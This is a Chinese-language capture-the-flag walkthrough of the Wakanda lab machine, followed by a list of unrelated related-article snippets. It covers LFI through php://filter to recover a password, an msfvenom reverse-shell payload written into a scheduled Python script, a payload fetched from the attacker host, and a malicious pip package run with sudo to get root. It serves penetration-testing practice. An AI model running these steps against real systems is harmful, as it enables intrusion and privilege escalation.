大家好,本文向大家介绍一个CTF挑战靶机Wakanda,下载地址在这里。该靶机难度适中,共有三个flag(flag1.txt,flag2.txt和root.txt)。

渗透测试方法如下

网络扫描(Nmap,netdiscover)

HTTP服务遍历

Php filter协议利用LFI漏洞

密码base64解码

SSH登陆

获取第一个flag

查找属于devops用户的文件

Antivirus.py文件写入恶意python代码

获取nc会话

获取第二个flag

Sudo提权

利用Fake Pip

获取root权限并获取第三个flag

通关攻略

第一步是使用netdiscover工具进行网络扫描,找到我们要进行攻击的靶机IP地址。

netdiscover

找到靶机地址是192.168.1.124

下一步就是用nmap扫描靶机,使用如下命令:

nmap -p- -A 192.168.1.124

Nmap输出结果显示开放了4个端口:80(HTTP),111(RPC),333(SSH),48920(RPC)。

在浏览器中访问192.168.1.124这个IP地址,没有发现什么有用的信息。

既然如此,我们用dirb工具来进行目录遍历,命令如下:

dirb http://192.168.1.124

如图所示,我们扫出来了很多目录,有/admin和/backup等,不过大小却都是0,看来也是没有什么东西了。再来看看index页面的源码吧,说不定会有发现。果不其然,我们在页面注释中发现了“lang”这个参数。

我们在url中使用“lang”这个参数,传递的值是'fr',现页面内容被转换为了法语,如图:

现在我们来试试这个lang参数是否存在LFI漏洞,借助curl工具,使用php filter伪协议来读取index文件源码,命令如下:

curl http://192.168.1.124/?lang=php://filter/convert.base64-encode/resource=index

读取到的内容显而易见是经过base64编码的,我们对它解码一下得到原始文件内容,如图:

非常幸运,在这里我们看到了密码“Niamey4Ever227!!!”。仔细看的话,我们还发现作者是mamadou,这可能就是ssh登陆凭证,我们去登陆试试。

果然登陆成功了,而且得到了一个python命令提示符界面。这好办,我们import pty这个模块,然后使用spawn ‘/bin/bash’命令来进入系统的bash shell。我们来看下mamadou用户的家目录,发现flag1.txt就躺在那儿,读取便是,如图:

通过对目录进行遍历,在/tmp目录下有一个test文件,打开test文件,乍一看,没有什么东西。不过仔细点看,可以看到这个文件的属主是devops用户,这就为我们提供了一个新思路,我们来找找属主是devops用户的所有文件看看是否有突破,使用find命令,如下:

find / -user devops 2>/dev/null

我们在/srv目录下发现了一个特殊的文件‘.antivirus.py’,如图:

现在我们打开这个py文件,发现内容是打开/tmp目录下的test文件,然后往里写入“test”字符串。为了利用这个脚本,我们可以将这段内容替换为我们的shellcode。首先,我们需要生成一个msfvenom payload,命令如下;

msfvenom -p cmd/unix/reverse_python lhost=192.168.1.134 lport=4444 R

生成payload后,我们打开刚才那个py文件,把里面的代码注释掉,然后插入我们的payload,复制的时候不要“python -c”,如图:

然后我们用nc设置好监听器,我们稍等片刻,等待脚本被执行。一旦脚本被执行,我们就获得了一个反向shell。我们查看一下UID,发现进入的是devops用户的shell。现在我们进入到devops用户的家目录,可以很轻易的读取到flag2.txt。

得到第二个flag后,我们来看看该用户能用sudo执行的命令,使用sudo -l来查看,发现我们即使不是root用户,也可以以超级用户(super user)的身份执行pip命令,如图:

这里就需要你的知识储备充足了,关于pip命令,有一个漏洞可以利用,GitHub上有一个利用脚本Fakepip,下载地址在这里。

我们把这个fakepip脚本下载下来

git clone https://github.com/0x00-0x00/FakePip.git

然后在本地对这个脚本进行编辑,这里需要修改的是os.system函数,这个函数里的内容是base64编码字符串,我们解码一下,可以得到一个IP地址,把IP地址替换成我们自己的IP地址,然后再用base64编码回去,并替换掉脚本中os.system函数中的字符串。

接着我们在本地用python开启HTTP服务,这样我们就能把fakepip这个脚本上传到靶机中。

python -m SimpleHTTPServer 80

启动HTTP服务之后,我们在靶机上使用wget命令来下载这个脚本,下载之后就根据readme文件的提示来执行命令

wget http://192.168.1.134/setup.py

sudo pip install . --upgrade --force-install

只要我们一执行命令,我们就获得了root用户的反向shell,现在我们可以切换到/root目录,并读取到root.txt中的flag了,如图所示:

好的,本次靶机到此结束,各位白帽子们可以下载靶机,一展身手。

漏洞payload 靶机_靶机渗透测试--hack the wakanda相关推荐

  1. 简单漏洞复现_网络渗透测试

    一.漏洞渗透测试 1.靶机(Windows)安装easy file sharing server(efssetup_2018.zip),该服务存在漏洞. 2.利用Nmap扫描发现靶机(Windows) ...

  2. java写渗透工具_常用渗透测试工具使用tips

    (7)sqlmap(python脚本学习下) 经典sql注入工具 (这种针对参数的工具,不知道是不是扫描方式有问题,还是怎么着,怎么才能抓几个包,或者把常用点的包抓出来) 抓几个sqlmap的包 sq ...

  3. 语言更新后程序包不见_后渗透测试神器Empire 3.0发布

    点击蓝字关注我们 经历漫长的等待后,后渗透测试神器 Empire 终于迎来了多项重大功能升级的 3.0 版本(https://github.com/BC-SECURITY/Empire/). Empi ...

  4. sql注入 练手网站_新手渗透测试训练营——SQL注入

    学习渗透测试,一定要掌握各种漏洞的检测和利用方法.今天我们分析一下dvwa环境中sql注入从低级到高级的渗透步骤. 手动挖掘Sql注入,首先要发现注入点.以low级别为例,发现一个可以输入内容的文本框 ...

  5. 漏洞payload 靶机_【HTB系列】靶机Bitlab的渗透测试

    本文作者:是大方子(Ms08067实验室核心成员) ﹀ ﹀ ﹀ 0x00 本文目录 反思与总结 基本信息 渗透测试过程 补充 0x01 反思与总结 1. curl 发送GET参数化请求 2. 对反弹回 ...

  6. apache目录遍历漏洞利用_【渗透测试】目录遍历漏洞

    许多的Web应用程序一般会有对服务器的文件读取查看的功能,大多会用到提交的参数来指明文件名 形如:http://www.nuanyue.com/getfile=image.jgp 当服务器处理传送过来 ...

  7. 看完这篇 教你玩转渗透测试靶机vulnhub——MoneyBox: 1

    Vulnhub靶机MoneyBox: 1渗透测试详解 Vulnhub靶机介绍: Vulnhub靶机下载: Vulnhub靶机安装: Vulnhub靶机漏洞详解: ①:信息收集: ②:FTP匿名登入: ...

  8. 看完这篇 教你玩转渗透测试靶机vulnhub——Source:1

    Vulnhub靶机Source:1渗透测试详解 Vulnhub靶机介绍: Vulnhub靶机下载: Vulnhub靶机安装: Vulnhub靶机漏洞详解: ①:信息收集: ②:远程命令执行漏洞 CVE ...

  9. Kali渗透测试之四漏洞映射

     ◆漏洞映射: 根据已经发现的开放端口和服务程序,查找.分析目标系统中存在的漏洞 漏洞映射旨在识别和分析目标环境中的决定性安全缺陷,有时也称为脆弱性评估.它是一种 在IT基础设施的安全控制中探寻已知弱 ...

最新文章

  1. 线性代数笔记:Khatri-Rao积
  2. Spring Boot2.x-06Spring Boot基础-使用@Conditional注解根据特定的条件装配bean
  3. 思想解读:optee中的多线程处理
  4. C++访问权限与继承
  5. gcc汇编汇编语言_什么是汇编语言?
  6. 信用卡-可恶的招商银行,可恶的循环利息
  7. 正确率能很好的评估分类算法吗_机器学习算法:分类知识超全总结!
  8. PRML5-神经网络(1)
  9. Java包装类介绍与类型之间相互转换
  10. ssh远程登录报错:WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED
  11. java.lang.ClassNotFoundException: net.sf.json.JSONObject
  12. php phantomjs 安装_安装php-phantomjs
  13. OpenCV的车道线检测
  14. 郭盛华如今现状如何呢? 身价早过亿,网友:期待开直播
  15. 2019年最佳JavaScript日历和事件日历脚本
  16. c语言最长递增子序列nlogn,最长递增子序列
  17. 微信小程序标题栏放logo 搜索框
  18. SDN — OpenvSwitch 常用指令和应用示例
  19. 小米入股比亚迪,或是意在自动驾驶
  20. 关于QQ登录出现非官方应用 错误码100044的解决办法

热门文章

  1. ambari关闭kerberos
  2. 使用O2OA二次开发搭建企业办公平台(十二)流程开发篇:报销审批流程需求和应用创建...
  3. Medical X-rays Dataset汇总(长期更新)
  4. 苹果手机上的小圆圈在哪设置_抖音上爆火的苹果充电提示音,安卓手机也可以设置了!!...
  5. 背景图片居中全屏自适应显示
  6. bootstrap和jquery版本问题以及解决360兼容模式问题
  7. ​美国多项经济数据表现不佳 美元走势将难以摆脱颓势?
  8. eos源码分析和应用(一)调试环境搭建
  9. vb在串口通信中运行时错误‘380’无效属性值
  10. 2011年年终总结-糟糕的一年